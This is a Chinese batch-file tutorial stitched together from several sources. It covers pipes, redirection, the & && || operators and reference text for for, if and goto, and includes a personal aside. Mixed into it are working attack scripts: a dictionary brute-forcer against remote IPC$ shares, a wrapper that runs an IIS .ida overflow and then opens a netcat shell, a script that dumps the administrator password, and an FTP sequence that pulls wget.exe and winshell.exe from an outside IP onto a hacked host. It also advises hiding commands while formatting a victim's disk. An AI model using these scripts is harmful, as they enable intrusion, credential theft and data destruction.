這里利用另一管道命令>生成了一個a.txt文件作為中間環(huán)節(jié),在用more命令查看a.txt文件后再刪除a.txt文件(例十三的所有操作是在內(nèi)存中進行的,不生成文件)??梢钥闯觯_使用管道命令|可以帶來事半功倍的效果。

結合例十三和例十四,以及前面的例九再體會一遍:|命令的作用,就是讓前一命令的輸出當做后一命令的輸入。

12、>、>>

這兩個命令的效果從本質(zhì)上來說都是一樣的,他們都是輸出重定向命令,說的通俗一點,就是把前面命令的輸出寫入到一個文件中。這兩個命令的唯一區(qū)別是,>會清除掉原有文件中的內(nèi)容后把新的內(nèi)容寫入原文件,而>>只會另起一行追加新的內(nèi)容到原文件中,而不會改動其中的原有內(nèi)容。例十五:

echo @echo off > a.bat
echo echo This is a pipeline command example. >> a.bat
echo echo It is very easy? >> a.bat
echo echo Believe your self! >> a.bat
echo pause >> a.bat
echo exit >> a.bat

依次在DOS提示符下輸入以上各行命令,一行一個回車,將在當前目錄下生成一個a.bat文件,里面的內(nèi)容如下:

@echo off
echo This is a pipeline command example.
echo It is very easy?
echo Believe your self!
pause
exit

看到這里,你得到了多少信息?1、可以直接在DOS提示符下利用echo命令的寫入功能編輯一個文本,而不需要專門的文本編輯工具;2、管道命令>和>>的區(qū)別如上所述。如果這里只用>命令來完成上面操作,最后也會生成一個a.bat,但里面的內(nèi)容就只剩下最后一行exit了。所以>和>>一般都聯(lián)合起來用,除非你重定向的輸出只有一行,那么就可以只用>了。結合例一再仔細體會輸出重定向管道命令>和>>的用法。

13、<、>&、<&

這三個命令也是管道命令,但它們一般不常用,你只需要知道一下就ok了,當然如果想仔細研究的話,可以自己查一下資料。

<,輸入重定向命令,從文件中讀入命令輸入,而不是從鍵盤中讀入。

>&,將一個句柄的輸出寫入到另一個句柄的輸入中。

<&,剛好和>&相反,從一個句柄讀取輸入并將其寫入到另一個句柄輸出中。

關于這三個管道命令的舉例,在后面批處理腳本的精妙應用中還將涉及到。

下面介紹組合命令:&、&&、||

組合命令,顧名思義,就是可以把多個命令組合起來當一個命令來執(zhí)行。這在批處理腳本里是允許的,而且用的非常廣泛。它的格式很簡單----既然現(xiàn)在已經(jīng)成了一個文件了,那么這多個命令就要用這些組合命令連接起來放在同一行----因為批處理認行不認命令數(shù)目。組合命令的作用,就如同給愛人陪不是,說一句是說,說十句也是說,不一次把好話都說了出來,效果可能會好些----當然得排除一種特殊情況:這些話是否有先后順序,有些話是否可以同時說。在批處理腳本里也一樣,有些時候某些命令是不能同時執(zhí)行的,后面給你說。

剛剛又送走了一個同學,人去樓空的感覺越來越明顯,望著空蕩蕩的床鋪,平日里喧鬧的宿舍就只剩下我一個人了,整個世界只有那個平時令人非常討厭的老鼠這時候才顯得可愛起來----只有它會陪著我在這不敢開燈的漆黑夜里----一個連期末考試都應付不了的失敗男人。失?。∥腋械娇煲粑贿^來,這種失敗的壓力簡直令我窒息,簡直讓我的手接收不到大腦的信號,簡直讓這篇未完成的教程夭折。但我能怪誰?

忙碌了一學期要過年了卻掛了科,失??;掛了科也倒罷了,竟然一個人拖全班的后退,失敗中的失?。桓〉?,是在這最失落的時候,竟然找不到一個人可以傾訴;然而最失敗的,是突然發(fā)現(xiàn)自己竟然如此脆弱,如此耐不住寂寞。不過這倒也解開了心中疑惑很久的一個問題:為什么明知道那段情是一個旋渦卻還心甘情愿的往里面跳----這就是青春,風一樣的年齡,火一樣不安的心。不再愛了,我不要再一個人的時候苦苦等待;不再愛了,我不要在你給的囚籠里憐憫的愛;不再愛了,我不要在別人的視線里如此可笑;不再愛,我不再愛。就算塌下來,我也要一個人扛著,頭不能低腰不能彎,不能喘息不能傾訴,因為雖然失敗,但還是男人,是男人就不能向困難低頭!

14、&

這可以說是最簡單的一個組合命令了,它的作用是用來連接n個DOS命令,并把這些命令按順序執(zhí)行,而不管是否有命令執(zhí)行失敗。例十六:


copy a.txt b.txt /y & del a.txt

其實這句和move a.txt b.txt的效果是一樣的,只不過前者是分了兩步來進行的(在后面還將涉及到具體使用哪種方法的問題)。這個命令很簡單,就不多費口舌了,唯一需要注意的一點是,這里&兩邊的命令是有執(zhí)行順序的,從前往后執(zhí)行。

15、&&

切記,這里介紹的幾個命令都是組合命令,所以他們前后都必須都有其他命令(要不如何組合?)。這個命令也不例外,它可以把它前后兩個命令組合起來當一個命令來用,與&命令不同之處在于,它在從前往后依次執(zhí)行被它連接的幾個命令時會自動判斷是否有某個命令執(zhí)行出錯,一旦發(fā)現(xiàn)出錯后將不繼續(xù)執(zhí)行后面剩下的命令。這就為我們自動化完成一些任務提供了方便。例十七:

dir 文件://1%/www/user.mdb && copy 文件://1%/www/user.mdb e:\backup\www

如果遠程主機存在user.mdb,則copy到本地e:\backup\www,如果不存在當然就不執(zhí)行copy了。這句對搞網(wǎng)管的朋友是否有點用呢?呵呵。其實它和下面這句的作用是一樣的:

if exist 文件://1%/www/user.mdb copy 文件://1%/www/user.mdb e:\backup\www

至于你喜歡用哪個就隨便了,我沒辦法判斷dir和if兩個命令哪一個執(zhí)行效率更高,所以不知道用哪個更好,呵呵。

你是否還記得“有些命令是不能同時執(zhí)行的”?你是否相信這句話?當然得相信,不信就給你出道題:把C盤和D盤的文件和文件夾列出到a.txt文件中。你將如何來搞定這道題?有朋友說,這還不是很easy的問題嗎?同時執(zhí)行兩個dir,然后把得到的結果>到a.txt里就ok了嘛,看例十八:


dir c:\ && dir d:\ > a.txt

仔細研究一下這句執(zhí)行后的結果,看看是否能達到題目的要求!錯了!這樣執(zhí)行后a.txt里只有D盤的信息!為什么?就因為這里&&命令和>命令不能同時出現(xiàn)一個句子里(批處理把一行看成一個句子)??!組合命令&&的優(yōu)先級沒有管道命令>的優(yōu)先級高(自己總結的,不妥的地方請指正)!所以這句在執(zhí)行時將本分成這兩部分:dir c:\和dir d:\ > a.txt,而并不是如你想的這兩部分:dir c:\ && dir d:\和> a.txt。要使用組合命令&&達到題目的要求,必須得這么寫:


dir c:\ > a.txt && dir d:\ >> a.txt

這樣,依據(jù)優(yōu)先級高低,DOS將把這句話分成以下兩部分:dir c:\ > a.txt和dir d:\ >> a.txt。例十八中的幾句的差別比較特殊,值得好好研究體會一下。

當然這里還可以利用&命令(自己想一下道理哦):


dir c:\ > a.txt & dir d:\ >> a.txt

16、||

這個命令的用法和&&幾乎一樣,但作用剛好和它相反:利用這種方法在執(zhí)行多條命令時,當遇到一個執(zhí)行正確的命令就退出此命令組合,不再繼續(xù)執(zhí)行下面的命令。題目:查看當前目錄下是否有以s開頭的exe文件,如果有則退出。例十九:


@echo off
dir s.exe || exit

其實這個例子是有破綻的,你看出來了嗎?其實很簡單,自己試試就知道了嘛:如果存在那個exe文件,就退出;如果不存在那個exe文件,也退出!為什么?因為如果不存在那個.exe文件,則前一條命令dir s.exe執(zhí)行肯定是不成功的,所以就繼續(xù)執(zhí)行exit,自然就退出了,呵呵。那么如何解決題目給出的問題呢?看例二十:


@echo off
dir s.exe || echo Didn't exist file s.exe & pause & exit

這樣執(zhí)行的結果,就能達到題目的要求,是否存在s.exe將出現(xiàn)兩種結果。這里加暫停的意思,當然是讓你能看到echo輸出的內(nèi)容,否則一閃而過的窗口,echo就白寫了。

給出兩個更好研究優(yōu)先級(同時也是更難理解)的腳本,仔細研究它們的區(qū)別,以便徹底理解各種命令的優(yōu)先級順序,對以后自己利用這些命令寫腳本有很大的好處----不會出錯!OK,請看例二十一和例二十二:

例二十一:


@echo off
dir a.ttt /a & dir a.txt || exit

例二十二:


@echo off
dir a.ttt /a && dir a.txt || exit

警告:患有心腦血管病的朋友請不要研究以上兩例,否則輕者頭大如斗,重者血管爆裂。任何人由于研究這兩個腳本的區(qū)別而造成的任何事故由自己或其合法監(jiān)護人負責,與本人和本論壇無關。特此警告!

有關管道命令和組合命令就大概介紹到這里了,不知道聰明的你是否理解?呵呵,能理解就成天才了,除非你以前就已經(jīng)掌握!千萬別小看了這幾個鬼命令,大棒槌是我的說,簡直就不是人學的東西!但我還是靜下心來研究了一番,最后得出的結論如上所述,已經(jīng)一點不剩的交給你了,希望你好好收藏并消化吸收,當然有錯誤被你發(fā)現(xiàn)了,或者不完整的地方被你看出來了,請趕緊告訴我一聲!

這幾個命令真的把我的頭都搞大了。在網(wǎng)上有一篇流傳很廣的批處理教程:“簡明批處理教程”,雖然說的比較全面,但看起來很不過癮。在對for等命令介紹時就一個for /? > a.txt & start a.txt完事了(當然這一點上我不能說人家什么,畢竟我連for /?都沒給出),而對上述管道命令和組合命令、以及這篇教程以后將講到的用批處理操作注冊表等方面根本沒有介紹。我之所以花整整一章來講管道命令和組合命令,是因為他們才是批處理的精華和靈魂,能否正確利用好這幾個命令,是能否掌握批處理的前提條件。如for、set等DOS命令的問題,可以從DOS的角度出發(fā)專門有針對性的學習,但有關這幾個命令的問題,卻是不容易精通掌握的----他們之間的關系太復雜了!

將下列代碼存為bat文件

1、如果用字典破解:pass.bat 字典文件路徑及名稱 主機 用戶名

2、如果用數(shù)字破解:pass.bat 起始數(shù) 步長 結束數(shù) 主機 用戶名

密碼破解出來之后,存放于c:\pass.txt文件里面。

將下列代碼存為pass.bat文件

@echo off

echo ------------------------------------------------------------------- >>c:\pass.txt

echo ------------------------------------------------------------------- >>c:\pass.txt

date /t >>c:\pass.txt

time /t >>c:\pass.txt

echo 破解結果: >>c:\pass.txt

if "%6"=="1" goto 大棒槌是我的說2

:大棒槌是我的說1

start "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3

goto quit

:大棒槌是我的說2

start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5

:quit

將下列代碼存為test.bat

net use \%1\ipc$ %2 /user:"%3"

goto answer%ERRORLEVEL%

rem %ERRORLEVEL%表示取前一命令執(zhí)行返回結果,net use成功返回0,失敗返回2

:answer0

echo 遠程主機:"%1" >>c:\pass.txt

echo 用 戶:"%3" >>c:\pass.txt

echo 密 碼:%2 >>c:\pass.txt

net use \%1\ipc$ /delet

exit

:answer2


For

對一組文件中的每個文件運行指定的命令。

可以在批處理程序中或直接從命令提示符使用 for 命令。

要在批處理程序中使用 for 命令,請使用以下語法:

for %%variable in (set) docommand [command-parameters]

要在命令提示符下使用 for,請使用以下語法:

for %variable in (set) do command [command-parameters]

參數(shù)

%%variable 或 %variable

代表可替換的參數(shù)。for 命令使用在 set 中指定的每個文本字符串替換 %%variable(或 %variable),直到此命令(在 command-parameters 中指定)處理所有的文件為止。使用 %% variable 在批處理程序中執(zhí)行 for 命令。使用 % variable 通過命令提示符執(zhí)行 for 命令。變量名區(qū)分大小寫。

(set)

指定要用指定的命令處理的一個或多個文件或文本字符串。需要括號。

command

指定要在指定的 set 所包含的每個文件上執(zhí)行的命令。

command-parameters

指定要用于指定命令(如果指定的命令要使用任何參數(shù)或開關)的任何參數(shù)或開關。

如果啟用了命令擴展(Windows 2000 中的默認設置),將支持 for 命令的其他形式。

For 命令的其他形式

如果啟用了命令擴展,將支持如下 for 命令的其他格式:

只限于目錄

for /D [%% | %]variable in (set) docommand [command-parameters]

如果 set 包含通配符( 和 ?),則指定與目錄名匹配,而不是文件名。

遞歸

for /R [[drive :]path] [%% | %]variable in (set) docommand [command-parameters]

進入根目錄樹[drive:]path,在樹的每個目錄中執(zhí)行 for 語句。如果在 /R 后沒有指定目錄,則假定為當前目錄。如果 set 只是一個句號 (.) 字符,則只列舉目錄樹。

迭代

for /L [%% | %]variable in (start,step,end) do command [command-parameters]

集合是一系列按步長量劃分的、從頭到尾的數(shù)字。這樣,(1,1,5) 將生成序列 1 2 3 4 5,而 (5,-1,1) 將生成序列 (5 4 3 2 1)。

BAT文件技巧

文章結構

1. 所有內(nèi)置命令的幫助信息

2. 環(huán)境變量的概念

3. 內(nèi)置的特殊符號(實際使用中間注意避開)

4. 簡單批處理文件概念

5. 附件1 tmp.txt

6. 附件2 sample.bat

######################################################################

1. 所有內(nèi)置命令的幫助信息

######################################################################

ver

cmd /?

set /?

rem /?

if /?

echo /?

goto /?

for /?

shift /?

call /?

其他需要的常用命令

type /?

find /?

findstr /?

copy /?

下面將所有上面的幫助輸出到一個文件

echo ver >tmp.txt

ver >>tmp.txt

echo cmd /? >>tmp.txt

cmd /? >>tmp.txt

echo rem /? >>tmp.txt

rem /? >>tmp.txt

echo if /? >>tmp.txt

if /? >>tmp.txt

echo goto /? >>tmp.txt

goto /? >>tmp.txt

echo for /? >>tmp.txt

for /? >>tmp.txt

echo shift /? >>tmp.txt

shift /? >>tmp.txt

echo call /? >>tmp.txt

call /? >>tmp.txt

echo type /? >>tmp.txt

type /? >>tmp.txt

echo find /? >>tmp.txt

find /? >>tmp.txt

echo findstr /? >>tmp.txt

findstr /? >>tmp.txt

echo copy /? >>tmp.txt

copy /? >>tmp.txt

type tmp.txt

######################################################################

2. 環(huán)境變量的概念

######################################################################

_

C:Program Files>set

ALLUSERSPROFILE=C:Documents and SettingsAll Users

CommonProgramFiles=C:Program FilesCommon Files

COMPUTERNAME=FIRST

ComSpec=C:WINNTsystem32cmd.exe

NUMBER_OF_PROCESSORS=1

OS=Windows_NT

Os2LibPath=C:WINNTsystem32os2dll;

Path=C:WINNTsystem32;C:WINNT;C:WINNTsystem32WBEM

PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH

PROCESSOR_ARCHITECTURE=x86

PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel

PROCESSORLEVEL=6

PROCESSORREVISION=0605

ProgramFiles=C:Program Files

PROMPT=$P$G

SystemDrive=C:

SystemRoot=C:WINNT

TEMP=C:WINNTTEMP

TMP=C:WINNTTEMP

USERPROFILE=C:Documents and SettingsDefault User

windir=C:WINNT

path: 表示可執(zhí)行程序的搜索路徑. 我的建議是你把你的程序copy 到

%windir%system32. 這個目錄里面. 一般就可以自動搜索到.

語法: copy mychenxu.exe %windir%system32.

使用點(.) 便于一目了然

對環(huán)境變量的引用使用(英文模式,半角)雙引號

%windir% 變量

%%windir%% 二次變量引用.

我們常用的還有

%temp% 臨時文件目錄

%windir% 系統(tǒng)目錄

%errorlevel% 退出代碼

輸出文件到臨時文件目錄里面.這樣便于當前目錄整潔.

對有空格的參數(shù). 你應該學會使用雙引號("") 來表示比如對porgram file文件夾操作

C:>dir p

C: 的目錄

2000-09-02 11:47 2,164 PDOS.DEF

1999-01-03 00:47

Program Files

1 個文件 2,164 字節(jié)

1 個目錄 1,505,997,824 可用字節(jié)

C:>cd pro

C:Program Files>

C:>

C:>cd "Program Files"

C:Program Files>

######################################################################

3. 內(nèi)置的特殊符號(實際使用中間注意避開)

######################################################################

微軟里面內(nèi)置了下列字符不能夠在創(chuàng)建的文件名中間使用

con nul aux / | || && ^ > <

You can use most characters as variable values, including white space. If you use the special characters <, >, |, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples:

(大意: 要么你使用^作為前導字符表示.或者就只有使用雙引號""了)

To create the variable value new&name, type:

set varname=new^&name

To create the variable value "new&name", type:

set varname="new&name"

The ampersand (&), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments.

find "Pacific Rim" < trade.txt > nwtrade.txt

IF EXIST filename. (del filename.) ELSE echo filename. missing

> 創(chuàng)建一個文件

>> 追加到一個文件后面

@ 前綴字符.表示執(zhí)行時本行在cmd里面不顯示, 可以使用 echo off關閉顯示

^ 對特殊符號( > < &)的前導字符. 第一個只是顯示aaa 第二個輸出文件bbb

echo 123456 ^> aaa

echo 1231231 > bbb

() 包含命令

(echo aa & echo bb)

, 和空格一樣的缺省分隔符號.

; 注釋,表示后面為注釋

: 標號作用

| 管道操作

& Usage:第一條命令 & 第二條命令 [& 第三條命令...]

用這種方法可以同時執(zhí)行多條命令,而不管命令是否執(zhí)行成功

dir c:.exe & dir d:.exe & dir e:.exe

&& Usage:第一條命令 && 第二條命令 [&& 第三條命令...]

當碰到執(zhí)行出錯的命令后將不執(zhí)行后面的命令,如果一直沒有出錯則一直執(zhí)行完所有命令;

|| Usage:第一條命令 || 第二條命令 [|| 第三條命令...]

當碰到執(zhí)行正確的命令后將不執(zhí)行后面的命令,如果沒有出現(xiàn)正確的命令則一直執(zhí)行完所有命令;

常用語法格式

IF [NOT] ERRORLEVEL number command para1 para2

IF [NOT] string1==string2 command para1 para2

IF [NOT] EXIST filename command para1 para2

IF EXIST filename command para1 para2

IF NOT EXIST filename command para1 para2

IF "%1"=="" goto END

IF "%1"=="net" goto NET

IF NOT "%2"=="net" goto OTHER

IF ERRORLEVEL 1 command para1 para2

IF NOT ERRORLEVEL 1 command para1 para2

FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i

FOR /F "eol=; tokens=2,3 delims=, " %i in (myfile.txt) do echo %i %j %k

按照字母順序 ijklmnopq依次取參數(shù).

eol=c - 指一個行注釋字符的結尾(就一個)

skip=n - 指在文件開始時忽略的行數(shù)。

delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的默認分隔符集。

######################################################################

4. 簡單批處理文件概念

######################################################################

echo This is test > a.txt

type a.txt

echo This is test 11111 >> a.txt

type a.txt

echo This is test 22222 > a.txt

type a.txt

第二個echo是追加

第三個echo將清空a.txt 重新創(chuàng)建 a.txt

netstat -n | find "3389"

這個將要列出所有連接3389的用戶的ip.

test.bat__

@echo please care

echo plese care 1111

echo plese care 2222

echo plese care 3333

@echo please care

@echo plese care 1111

@echo plese care 2222

@echo plese care 3333

rem 不顯示注釋語句,本行顯示

@rem 不顯示注釋語句,本行不顯示

@if exist %windir%system32find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe)

@if exist %windir%system32fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe)

下面我們以具體的一個idahack程序就是ida遠程溢出為例子.應該是很簡單的.

ida.bat_

@rem ver 1.0

@if NOT exist %windir%system32idahack.exe echo "ERROR: dont find idahack.exe"

@if NOT exist %windir%system32nc.exe echo "ERROR: dont find nc.exe"

@if "%1" =="" goto USAGE

@if NOT "%2" =="" goto SP2

:start

@echo Now start ...

@ping %1

@echo chinese win2k:1 sp1:2 sp2:3

idahack.exe %1 80 1 99 >%temp%_tmp

@echo "prog exit code [%errorlevel%] idahack.exe"

@type %temp%_tmp

@find "good luck :)" %temp%_tmp

@echo "prog exit code [%errorlevel%] find [goog luck]"

@if NOT errorlevel 1 nc.exe %1 99

@goto END

:SP2

@idahack.exe %1 80 %2 99 %temp%_tmp

@type %temp%_tmp

@find "good luck :)" %temp%tmp

@if NOT errorlevel 1 nc.exe %1 99

@goto END

:USAGE

@echo Example: ida.bat IP

@echo Example: ida.bat IP (2,3)

:END

ida.batEND

下面我們再來第二個文件.就是得到administrator的口令.

大多數(shù)人說得不到.其實是自己的沒有輸入正確的信息.

fpass.bat

@rem ver 1.0

@if NOT exist %windir%system32findpass.exe echo "ERROR: dont find findpass.exe"

@if NOT exist %windir%system32pulist.exe echo "ERROR: dont find pulist.exe"

@echo start....

@echo

@if "%1"=="" goto USAGE

@findpass.exe %1 %2 %3 >> %temp%_findpass.txt

@echo "prog exit code [%errorlevel%] findpass.exe"

@type %temp%_findpass.txt

@echo Herepass★★★★★★★★

@ipconfig /all >>%temp%_findpass.txt

@goto END

:USAGE

@pulist.exe >%temp%_pass.txt

@findstr.exe /i "WINLOGON explorer internat" %temp%pass.txt

@echo "Example: fpass.bat %1 %2 %3 %4 !!!"

@echo "Usage: findpass.exe DomainName UserName PID-of-WinLogon"

:END

@echo " fpass.bat %COMPUTERNAME% %USERNAME% administrator "

@echo " fpass.bat end [%errorlevel%] !"

fpass.batEND__

還有一個就是已經(jīng)通過telnet登陸了一個遠程主機.怎樣上傳文件(win)

依次在窗口輸入下面的東西. 當然了也可以全部拷貝.Ctrl+V過去. 然后就等待吧!!

echo open 210.64.x.4 3396>w

echo read>>w

echo read>>w

echo cd winnt>>w

echo binary>>w

echo pwd >>w

echo get wget.exe >>w

echo get winshell.exe >>w

echo get any.exe >>w

echo quit >>w

ftp -s:w

批處理,說白了就是DOS操作。有人認為DOS操作過時了、落后了,其實不然。DOS操作最大的好處就在于快、不留痕。在許多時候,Windows操作是根本解決不了問題的,必須借助DOS操作。

  必備常識:批處理的編寫和修改

  打開記事本,將要編寫的內(nèi)容寫在里面。在存為bat文件即可。修改也可以用記事本打開進行修改。

  批處理運用一:掃描本地端口

  這個功能優(yōu)化大師有,就是掃描哪個端口與internet連接和連接ip。這,為及時發(fā)現(xiàn)并攔截非法連接有著不可取代的功勞。

  然而,啟動優(yōu)化大師太慢了,而且太煩了,不利于隨機使用。因此,編寫一個這樣的批處理來解決問題就顯得尤為重要了。

  代碼:

  netstat -n

  pause

  附:也可在每一行開頭添上“@”,這樣命令就不會顯示出來。

  批處理運用二:查常見病毒

  其實,對于上網(wǎng)的人來說,遇到病毒是在所難免的。然而,如果真的不幸感染,怎樣才能發(fā)現(xiàn)呢?難道真的要買昂貴的殺毒軟件嗎?不一定。

  我們可以編寫批處理來查一些常見的網(wǎng)絡病毒。如果確認感染病毒,可以下載專用殺毒工具進行查殺,或采取其他途徑殺毒。

  下面,我以歡樂時光為例進行分析:

  主文件:1.bat

  其它文件:2.bat 3.bat

  1.bat代碼:

  @if exist c:\folder.htt call 2.bat

  @if exist d:\folder.htt call 2.bat

  @if exist e:\folder.htt call 2.bat

  @if exist f:\folder.htt call 2.bat

  2.bat代碼:

  @echo 發(fā)現(xiàn)歡樂時光病毒!

  @call 3.bat

  @pause

  3.bat代碼:

  @c:

  @dir .htt .ini /s/a>1.txt

  @d:

  @dir .htt .ini /s/a>1.txt

  @e:

  @dir .htt .ini /s/a>1.txt

  這樣,如果中毒,那么必定會存在大量folder.htt和Desktop.ini,通過這樣可以粗略的檢查計算機是否感染病毒。

  批處理運用三:文件處理

  假設,我要大規(guī)模的做文件的移動、刪除等,如果在Windows里操作不免會出現(xiàn)錯誤,而且這些錯誤不易察覺。因此,用批處理進行操作,不但簡單易行,而且容易發(fā)現(xiàn)錯誤并可以及時糾正。

  例如,我要將D盤的htm文件移動到E盤,再格式化D盤,然后將文件移回D盤,并改后綴為html。

  1.bat代碼:

  @E:

  @Md d

  @D:

  @Copy .htm e:\d

  @if exist e:\d.htm call 2.bat

  **

  2.bat代碼:

  @Format d:/q

  @Copy e:\d.htm d:

  @D:

  @Ren .htm .html

  從例子中,可以看出,如果一旦出現(xiàn)問題,是很容易被發(fā)現(xiàn)的。從而,也證明了批處理的可用性。

  關于批處理的運用,可以說博大精深,變化莫測。希望大家能夠用DOS命令去優(yōu)化它,這樣才能讓其更好的為我們服務。

批處理命令

1.Echo 命令

打開回顯或關閉請求回顯功能,或顯示消息。如果沒有任何參數(shù),echo 命令將顯示當前回顯設置。

語法:echo [{on|off}] [message]

Sample:echo off / echo hello world

在實際應用中我們會把這條命令和重定向符號(也稱為管道符號,一般用> >> ^)結合來實現(xiàn)輸入一些命令到特定格式的文件中.這將在以后的例子中體現(xiàn)出來。

2.@ 命令

表示不顯示@后面的命令,在入侵過程中(例如使用批處理來格式化敵人的硬盤)自然不能讓對方看到你使用的命令啦。

Sample:@echo off

@echo Now initializing the program,please wait a minite...

@format X: /q/u/autoset (format 這個命令是不可以使用/y這個參數(shù)的,可喜的是微軟留了個autoset這個參數(shù)給我們,效果和/y是一樣的。)

3.Goto 命令

指定跳轉到標簽,找到標簽后,程序?qū)⑻幚韽南乱恍虚_始的命令。

語法:goto label (label是參數(shù),指定所要轉向的批處理程序中的行。)

Sample:

if {%1}=={} goto noparms

if {%2}=={} goto noparms(如果這里的if、%1、%2你不明白的話,先跳過去,后面會有詳細的解釋。)

@Rem check parameters if null show usage

:noparms

echo Usage: monitor.bat ServerIP PortNumber

goto end

標簽的名字可以隨便起,但是最好是有意義的字母啦,字母前加個:用來表示這個字母是標簽,goto命令就是根據(jù)這個:來尋找下一步跳到到那里。最好有一些說明這樣你別人看起來才會理解你的意圖啊。

4.Rem 命令

注釋命令,在C語言中相當與/--------/,它并不會被執(zhí)行,只是起一個注釋的作用,便于別人閱讀和你自己日后修改。

Rem Message

Sample:@Rem Here is the description.

5.Pause 命令

運行 Pause 命令時,將顯示下面的消息:

Press any key to continue . . .

Sample:

@echo off

:begin

copy a:. d:\back

echo Please put a new disk into driver A

pause

goto begin

在這個例子中,驅(qū)動器 A 中磁盤上的所有文件均復制到d:\back中。顯示的注釋提示您將另一張磁盤放入驅(qū)動器 A 時,pause 命令會使程序掛起,以便您更換磁盤,然后按任意鍵繼續(xù)處理。

6.Call 命令

從一個批處理程序調(diào)用另一個批處理程序,并且不終止父批處理程序。call 命令接受用作調(diào)用目標的標簽。如果在腳本或批處理文件外使用 Call,它將不會在命令行起作用。

語法:call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]

參數(shù):[Drive:}[Path] FileName

指定要調(diào)用的批處理程序的位置和名稱。filename 參數(shù)必須具有 .bat 或 .cmd 擴展名。

7.start 命令

調(diào)用外部程序,所有的DOS命令和命令行程序都可以由start命令來調(diào)用。

入侵常用參數(shù):

MIN 開始時窗口最小化

SEPARATE 在分開的空間內(nèi)開始 16 位 Windows 程序

HIGH 在 HIGH 優(yōu)先級類別開始應用程序

REALTIME 在 REALTIME 優(yōu)先級類別開始應用程序

WAIT 啟動應用程序并等候它結束

parameters 這些為傳送到命令/程序的參數(shù)

執(zhí)行的應用程序是 32-位 GUI 應用程序時,CMD.EXE 不等應用程序終止就返回命令提示。如果在命令腳本內(nèi)執(zhí)行,該新行為則不會發(fā)生。

8.choice 命令

choice 使用此命令可以讓用戶輸入一個字符,從而運行不同的命令。使用時應該加/c:參數(shù),c:后應寫提示可輸入的字符,之間無空格。它的返回碼為1234……

如: choice /c:dme defrag,mem,end

將顯示

defrag,mem,end[D,M,E]?

Sample:

Sample.bat的內(nèi)容如下:

@echo off

choice /c:dme defrag,mem,end

if errorlevel 3 goto defrag (應先判斷數(shù)值最高的錯誤碼)

if errorlevel 2 goto mem

if errotlevel 1 goto end

:defrag

c:\dos\defrag

goto end

:mem

mem

goto end

:end

echo good bye

此文件運行后,將顯示 defrag,mem,end[D,M,E]? 用戶可選擇d m e ,然后if語句將作出判斷,d表示執(zhí)行標號為defrag的程序段,m表示執(zhí)行標號為mem的程序段,e表示執(zhí)行標號為end的程序段,每個程序段最后都以goto end將程序跳到end標號處,然后程序?qū)@示good bye,文件結束。

9.If 命令

if 表示將判斷是否符合規(guī)定的條件,從而決定執(zhí)行不同的命令。 有三種格式:

1、if "參數(shù)" == "字符串" 待執(zhí)行的命令

參數(shù)如果等于指定的字符串,則條件成立,運行命令,否則運行下一句。(注意是兩個等號)

如if "%1"=="a" format a:

if {%1}=={} goto noparms

if {%2}=={} goto noparms

2、if exist 文件名 待執(zhí)行的命令

如果有指定的文件,則條件成立,運行命令,否則運行下一句。

如if exist config.sys edit config.sys

3、if errorlevel / if not errorlevel 數(shù)字 待執(zhí)行的命令

如果返回碼等于指定的數(shù)字,則條件成立,運行命令,否則運行下一句。

如if errorlevel 2 goto x2

DOS程序運行時都會返回一個數(shù)字給DOS,稱為錯誤碼errorlevel或稱返回碼,常見的返回碼為0、1。

10.for 命令

for 命令是一個比較復雜的命令,主要用于參數(shù)在指定的范圍內(nèi)循環(huán)執(zhí)行命令。

在批處理文件中使用 FOR 命令時,指定變量請使用 %%variable

for {%variable|%%variable} in (set) do command [ CommandLineOptions]

%variable 指定一個單一字母可替換的參數(shù)。

(set) 指定一個或一組文件??梢允褂猛ㄅ浞?/p>

command 指定對每個文件執(zhí)行的命令。

command-parameters 為特定命令指定參數(shù)或命令行開關。

在批處理文件中使用 FOR 命令時,指定變量請使用 %%variable

而不要用 %variable。變量名稱是區(qū)分大小寫的,所以 %i 不同于 %I

如果命令擴展名被啟用,下列額外的 FOR 命令格式會受到

支持:

FOR /D %variable IN (set) DO command [command-parameters]

如果集中包含通配符,則指定與目錄名匹配,而不與文件

名匹配。

FOR /R [[drive:]path] %variable IN (set) DO command [command-

檢查以 [drive:]path 為根的目錄樹,指向每個目錄中的

FOR 語句。如果在 /R 后沒有指定目錄,則使用當前

目錄。如果集僅為一個單點(.)字符,則枚舉該目錄樹。

FOR /L %variable IN (start,step,end) DO command [command-para

該集表示以增量形式從開始到結束的一個數(shù)字序列。

因此,(1,1,5) 將產(chǎn)生序列 1 2 3 4 5,(5,-1,1) 將產(chǎn)生

序列 (5 4 3 2 1)。

FOR /F ["options"] %variable IN (file-set) DO command

FOR /F ["options"] %variable IN ("string") DO command

FOR /F ["options"] %variable IN (command) DO command

或者,如果有 usebackq 選項:

FOR /F ["options"] %variable IN (file-set) DO command

FOR /F ["options"] %variable IN ("string") DO command

FOR /F ["options"] %variable IN (command) DO command

filenameset 為一個或多個文件名。繼續(xù)到 filenameset 中的

下一個文件之前,每份文件都已被打開、讀取并經(jīng)過處理。

處理包括讀取文件,將其分成一行行的文字,然后將每行

解析成零或更多的符號。然后用已找到的符號字符串變量值

調(diào)用 For 循環(huán)。以默認方式,/F 通過每個文件的每一行中分開

的第一個空白符號。跳過空白行。您可通過指定可選 "options"

參數(shù)替代默認解析操作。這個帶引號的字符串包括一個或多個

指定不同解析選項的關鍵字。這些關鍵字為:

eol=c - 指一個行注釋字符的結尾(就一個)

skip=n - 指在文件開始時忽略的行數(shù)。

delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的

默認分隔符集。

tokens=x,y,m-n - 指每行的哪一個符號被傳遞到每個迭代

的 for 本身。這會導致額外變量名稱的

格式為一個范圍。通過 nth 符號指定 m

符號字符串中的最后一個字符星號,

那么額外的變量將在最后一個符號解析之

分配并接受行的保留文本。

usebackq - 指定新語法已在下類情況中使用:

